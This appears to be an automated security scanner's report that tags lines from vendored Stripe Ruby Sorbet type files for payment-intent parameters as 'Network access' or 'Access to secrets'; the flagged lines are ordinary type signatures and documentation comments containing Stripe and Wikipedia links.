class Tax < ::Stripe::RequestParams # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id sig { returns(String) } - Network accessline 270
# The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id - Network accessline 337
sig { params(_amount_to_capture: T.nilable(Integer)).returns(T.nilable(Integer)) } def amount_to_capture=(_amount_to_capture); end # The amount of the application fee (if any) that will be requested to be applied to the payment and - Network accessline 338
def amount_to_capture=(_amount_to_capture); end # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fe - Network accessline 339
# The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total amount captu - Network accessline 347
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Defaults to `true`. When capturing a PaymentIntent, setting `final_capture` to `false` notifies Stripe to not rele - Network accessline 348
def expand=(_expand); end # Defaults to `true`. When capturing a PaymentIntent, setting `final_capture` to `false` notifies Stripe to not release the remaining uncaptured funds to make sure that they're captured in future requests. You - Network accessline 349
# Defaults to `true`. When capturing a PaymentIntent, setting `final_capture` to `false` notifies Stripe to not release the remaining uncaptured funds to make sure that they're captured in future requests. You can only use this setting when - Network accessline 359
} def hooks=(_hooks); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual k - Network accessline 360
def hooks=(_hooks); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys ca - Network accessline 361
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 373
} def payment_details=(_payment_details); end # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about - Network accessline 374
def payment_details=(_payment_details); end # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requir - Network accessline 375
# Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t - Network accessline 376
# # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead. sig { returns(T.nilable(String)) - Network accessline 377
# Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead. - Network accessline 380
sig { params(_statement_descriptor: T.nilable(String)).returns(T.nilable(String)) } def statement_descriptor=(_statement_descriptor); end # Provides information about a card charge. Concatenated to the account's [statement descripto - Network accessline 381
def statement_descriptor=(_statement_descriptor); end # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to f - Network accessline 382
# Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the - Network accessline 386
def statement_descriptor_suffix=(_statement_descriptor_suffix); end # The parameters that you can use to automatically create a transfer after the payment # is captured. Learn more about the [use case for connected accounts](https:/ - Network accessline 387
# The parameters that you can use to automatically create a transfer after the payment # is captured. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts). sig { returns(T.nilab - Network accessline 388
# is captured. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_intent_confirm_params.rbi
- Network accessline 120
end class Tax < ::Stripe::RequestParams # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greate - Network accessline 121
class Tax < ::Stripe::RequestParams # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or eq - Network accessline 122
# The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. - Network accessline 130
def initialize(total_tax_amount: nil); end end # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 131
end # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. # - Network accessline 132
# The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 170
} def tax=(_tax); end # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. - Network accessline 171
def tax=(_tax); end # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. sig { returns(I - Network accessline 172
# The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. - Network accessline 195
end class Shipping < ::Stripe::RequestParams # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or - Network accessline 196
class Shipping < ::Stripe::RequestParams # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0 - Network accessline 197
# If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0. - Network accessline 218
end class Tax < ::Stripe::RequestParams # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than - Network accessline 219
class Tax < ::Stripe::RequestParams # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal t - Network accessline 220
# The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0. - Network accessline 228
def initialize(total_tax_amount: nil); end end # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 229
end # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. # - Network accessline 230
# The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 268
class Inputs < ::Stripe::RequestParams class Tax < ::Stripe::RequestParams # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id - Network accessline 269
class Tax < ::Stripe::RequestParams # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id sig { returns(String) } - Network accessline 270
# The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id - Network accessline 442
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 443
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 444
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 462
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 463
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 464
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 690
class Promptpay < ::Stripe::RequestParams; end class RadarOptions < ::Stripe::RequestParams # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Ra - Network accessline 691
class RadarOptions < ::Stripe::RequestParams # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 692
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 961
} def mb_way=(_mb_way); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi - Network accessline 962
def mb_way=(_mb_way); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 963
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 1059
} def promptpay=(_promptpay); end # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Network accessline 1060
def promptpay=(_promptpay); end # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. sig { returns(T.nilable(PaymentIntentConfirmParams::PaymentMethodData::RadarOpt - Network accessline 1061
# Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Access to secretsline 1208
[Credential-related source omitted] - Access to secretsline 1209
[Credential-related source omitted] - Network accessline 1803
# Installment configuration for payments attempted on this PaymentIntent. # # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 1804
# # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). sig { - Network accessline 1805
# For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 1833
sig { params(_network: T.nilable(String)).returns(T.nilable(String)) } def network=(_network); end # Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-au - Network accessline 1834
def network=(_network); end # Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-authorization) for this PaymentIntent. sig { returns(T.nilable(String)) } - Network accessline 1835
# Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-authorization) for this PaymentIntent. - Network accessline 1840
[Credential-related source omitted] - Network accessline 1841
[Credential-related source omitted] - Network accessline 1842
# Request ability to [increment the authorization](https://docs.stripe.com/payments/incremental-authorization) for this PaymentIntent. - Network accessline 1847
[Credential-related source omitted] - Network accessline 1848
[Credential-related source omitted] - Network accessline 1849
# Request ability to make [multiple captures](https://docs.stripe.com/payments/multicapture) for this PaymentIntent. - Network accessline 1852
sig { params(_request_multicapture: T.nilable(String)).returns(T.nilable(String)) } def request_multicapture=(_request_multicapture); end # Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for t - Network accessline 1853
def request_multicapture=(_request_multicapture); end # Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for this PaymentIntent. sig { returns(T.nilable(String)) } - Network accessline 1854
# Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for this PaymentIntent. - Network accessline 1857
sig { params(_request_overcapture: T.nilable(String)).returns(T.nilable(String)) } def request_overcapture=(_request_overcapture); end # We strongly recommend that you rely on our SCA Engine to automatically prompt your cust - Network accessline 1858
def request_overcapture=(_request_overcapture); end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.c - Network accessline 1859
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 1949
sig { params(_capture_method: T.nilable(String)).returns(T.nilable(String)) } def capture_method=(_capture_method); end # Request ability to capture this payment beyond the standard [authorization validity window](https://do - Network accessline 1950
def capture_method=(_capture_method); end # Request ability to capture this payment beyond the standard [authorization validity window](https://docs.stripe.com/terminal/features/extended-authorizations#authorization-validity) - Network accessline 1951
# Request ability to capture this payment beyond the standard [authorization validity window](https://docs.stripe.com/terminal/features/extended-authorizations#authorization-validity) - Network accessline 1956
[Credential-related source omitted] - Network accessline 1957
[Credential-related source omitted] - Network accessline 1958
# Request ability to [increment](https://docs.stripe.com/terminal/features/incremental-authorizations) this PaymentIntent if the combination of MCC and card brand is eligible. Check [incremental_authorization_supported](https://docs.stripe. - Network accessline 2682
sig { params(_capture_method: T.nilable(String)).returns(T.nilable(String)) } def capture_method=(_capture_method); end # [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout p - Network accessline 2683
def capture_method=(_capture_method); end # [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout page that the customer is redirected to. sig { returns(T.nilable(String)) } - Network accessline 2684
# [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout page that the customer is redirected to. - Network accessline 3738
end class RadarOptions < ::Stripe::RequestParams # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your paym - Network accessline 3739
class RadarOptions < ::Stripe::RequestParams # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 3740
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 3753
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 3754
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 3755
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 3773
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 3774
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 3775
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 3841
[Credential-related source omitted] - Network accessline 3842
[Credential-related source omitted] - Network accessline 3843
# Set to `true` to fail the payment attempt if the PaymentIntent transitions into `requires_action`. This parameter is intended for simpler integrations that do not handle customer actions, like [saving cards without authentication](https:/ - Network accessline 3877
} def mandate_data=(_mandate_data); end # Set to `true` to indicate that the customer isn't in your checkout flow during this payment attempt and can't authenticate. Use this parameter in scenarios where you collect card details and - Network accessline 3878
def mandate_data=(_mandate_data); end # Set to `true` to indicate that the customer isn't in your checkout flow during this payment attempt and can't authenticate. Use this parameter in scenarios where you collect card details and [char - Network accessline 3879
# Set to `true` to indicate that the customer isn't in your checkout flow during this payment attempt and can't authenticate. Use this parameter in scenarios where you collect card details and [charge them later](https://docs.stripe.com/pay - Network accessline 3891
} def payment_details=(_payment_details); end # ID of the payment method (a PaymentMethod, Card, or [compatible Source](https://docs.stripe.com/payments/payment-methods/transitioning#compatibility) object) to attach to this PaymentI - Network accessline 3892
def payment_details=(_payment_details); end # ID of the payment method (a PaymentMethod, Card, or [compatible Source](https://docs.stripe.com/payments/payment-methods/transitioning#compatibility) object) to attach to this PaymentIntent. - Network accessline 3893
# ID of the payment method (a PaymentMethod, Card, or [compatible Source](https://docs.stripe.com/payments/payment-methods/transitioning#compatibility) object) to attach to this PaymentIntent. - Network accessline 3894
# If the payment method is attached to a Customer, it must match the [customer](https://api.stripe.com#create_payment_intent-customer) that is set on this PaymentIntent. - Network accessline 3898
def payment_method=(_payment_method); end # If provided, this hash will be used to create a PaymentMethod. The new PaymentMethod will appear # in the [payment_method](https://docs.stripe.com/api/payment_intents/object#payment_intent - Network accessline 3899
# If provided, this hash will be used to create a PaymentMethod. The new PaymentMethod will appear # in the [payment_method](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-payment_method) # property on the - Network accessline 3900
# in the [payment_method](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-payment_method) - Network accessline 3913
} def payment_method_options=(_payment_method_options); end # The list of payment method types (for example, a card) that this PaymentIntent can use. Use `automatic_payment_methods` to manage payment methods from the [Stripe Dashboa - Network accessline 3914
def payment_method_options=(_payment_method_options); end # The list of payment method types (for example, a card) that this PaymentIntent can use. Use `automatic_payment_methods` to manage payment methods from the [Stripe Dashboard](ht - Network accessline 3915
# The list of payment method types (for example, a card) that this PaymentIntent can use. Use `automatic_payment_methods` to manage payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_methods). A list o - Network accessline 3920
} def payment_method_types=(_payment_method_types); end # Options to configure Radar. Learn more about [Radar Sessions](https://docs.stripe.com/radar/radar-session). - Network accessline 3921
def payment_method_types=(_payment_method_types); end # Options to configure Radar. Learn more about [Radar Sessions](https://docs.stripe.com/radar/radar-session). sig { returns(T.nilable(PaymentIntentConfirmParams::RadarOptions)) } - Network accessline 3922
# Options to configure Radar. Learn more about [Radar Sessions](https://docs.stripe.com/radar/radar-session). - Network accessline 3927
} def radar_options=(_radar_options); end # Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of your [email setti - Network accessline 3928
def radar_options=(_radar_options); end # Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of your [email settings](h - Network accessline 3929
# Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of your [email settings](https://dashboard.stripe.com/account/emails).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/payment_intent_create_params.rbi
- Network accessline 120
end class Tax < ::Stripe::RequestParams # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greate - Network accessline 121
class Tax < ::Stripe::RequestParams # The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or eq - Network accessline 122
# The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. - Network accessline 130
def initialize(total_tax_amount: nil); end end # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 131
end # The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. # - Network accessline 132
# The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 170
} def tax=(_tax); end # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. - Network accessline 171
def tax=(_tax); end # The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. sig { returns(I - Network accessline 172
# The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. - Network accessline 195
end class Shipping < ::Stripe::RequestParams # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or - Network accessline 196
class Shipping < ::Stripe::RequestParams # If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0 - Network accessline 197
# If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0. - Network accessline 218
end class Tax < ::Stripe::RequestParams # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than - Network accessline 219
class Tax < ::Stripe::RequestParams # The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal t - Network accessline 220
# The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0. - Network accessline 228
def initialize(total_tax_amount: nil); end end # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 229
end # The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. # - Network accessline 230
# The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 268
# Controls whether this PaymentIntent will accept redirect-based payment methods. # # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional s - Network accessline 269
# # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional steps. To [confirm](https://docs.stripe.com/api/payment_intents/confirm) this PaymentInte - Network accessline 270
# Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional steps. To [confirm](https://docs.stripe.com/api/payment_intents/confirm) this PaymentIntent, you - Network accessline 284
class Inputs < ::Stripe::RequestParams class Tax < ::Stripe::RequestParams # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id - Network accessline 285
class Tax < ::Stripe::RequestParams # The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id sig { returns(String) } - Network accessline 286
# The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id - Network accessline 458
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 459
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 460
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 478
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 479
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 480
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 706
class Promptpay < ::Stripe::RequestParams; end class RadarOptions < ::Stripe::RequestParams # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Ra - Network accessline 707
class RadarOptions < ::Stripe::RequestParams # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 708
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 977
} def mb_way=(_mb_way); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi - Network accessline 978
def mb_way=(_mb_way); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 979
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 1075
} def promptpay=(_promptpay); end # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Network accessline 1076
def promptpay=(_promptpay); end # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. sig { returns(T.nilable(PaymentIntentCreateParams::PaymentMethodData::RadarOpti - Network accessline 1077
# Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Access to secretsline 1224
[Credential-related source omitted] - Access to secretsline 1225
[Credential-related source omitted] - Network accessline 1819
# Installment configuration for payments attempted on this PaymentIntent. # # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 1820
# # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). sig { - Network accessline 1821
# For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 1849
sig { params(_network: T.nilable(String)).returns(T.nilable(String)) } def network=(_network); end # Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-au - Network accessline 1850
def network=(_network); end # Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-authorization) for this PaymentIntent. sig { returns(T.nilable(String)) } - Network accessline 1851
# Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-authorization) for this PaymentIntent. - Network accessline 1856
[Credential-related source omitted] - Network accessline 1857
[Credential-related source omitted] - Network accessline 1858
# Request ability to [increment the authorization](https://docs.stripe.com/payments/incremental-authorization) for this PaymentIntent. - Network accessline 1863
[Credential-related source omitted] - Network accessline 1864
[Credential-related source omitted] - Network accessline 1865
# Request ability to make [multiple captures](https://docs.stripe.com/payments/multicapture) for this PaymentIntent. - Network accessline 1868
sig { params(_request_multicapture: T.nilable(String)).returns(T.nilable(String)) } def request_multicapture=(_request_multicapture); end # Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for t - Network accessline 1869
def request_multicapture=(_request_multicapture); end # Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for this PaymentIntent. sig { returns(T.nilable(String)) } - Network accessline 1870
# Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for this PaymentIntent. - Network accessline 1873
sig { params(_request_overcapture: T.nilable(String)).returns(T.nilable(String)) } def request_overcapture=(_request_overcapture); end # We strongly recommend that you rely on our SCA Engine to automatically prompt your cust - Network accessline 1874
def request_overcapture=(_request_overcapture); end # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.c - Network accessline 1875
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 1965
sig { params(_capture_method: T.nilable(String)).returns(T.nilable(String)) } def capture_method=(_capture_method); end # Request ability to capture this payment beyond the standard [authorization validity window](https://do - Network accessline 1966
def capture_method=(_capture_method); end # Request ability to capture this payment beyond the standard [authorization validity window](https://docs.stripe.com/terminal/features/extended-authorizations#authorization-validity) - Network accessline 1967
# Request ability to capture this payment beyond the standard [authorization validity window](https://docs.stripe.com/terminal/features/extended-authorizations#authorization-validity) - Network accessline 1972
[Credential-related source omitted] - Network accessline 1973
[Credential-related source omitted] - Network accessline 1974
# Request ability to [increment](https://docs.stripe.com/terminal/features/incremental-authorizations) this PaymentIntent if the combination of MCC and card brand is eligible. Check [incremental_authorization_supported](https://docs.stripe. - Network accessline 2698
sig { params(_capture_method: T.nilable(String)).returns(T.nilable(String)) } def capture_method=(_capture_method); end # [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout p - Network accessline 2699
def capture_method=(_capture_method); end # [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout page that the customer is redirected to. sig { returns(T.nilable(String)) } - Network accessline 2700
# [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout page that the customer is redirected to. - Network accessline 3754
end class RadarOptions < ::Stripe::RequestParams # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your paym - Network accessline 3755
class RadarOptions < ::Stripe::RequestParams # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 3756
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 3769
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 3770
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 3771
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 3789
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 3790
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 3791
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 3844
# # If you intend to collect a fee and you need a more robust reporting experience, using # [application_fee_amount](https://docs.stripe.com/api/payment_intents/create#create_payment_intent-application_fee_amount) - Network accessline 3845
# If you intend to collect a fee and you need a more robust reporting experience, using # [application_fee_amount](https://docs.stripe.com/api/payment_intents/create#create_payment_intent-application_fee_amount) # might be a bet - Network accessline 3846
# [application_fee_amount](https://docs.stripe.com/api/payment_intents/create#create_payment_intent-application_fee_amount) - Network accessline 3861
def initialize(amount: nil, destination: nil); end end # Amount intended to be collected by this PaymentIntent. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#ze - Network accessline 3862
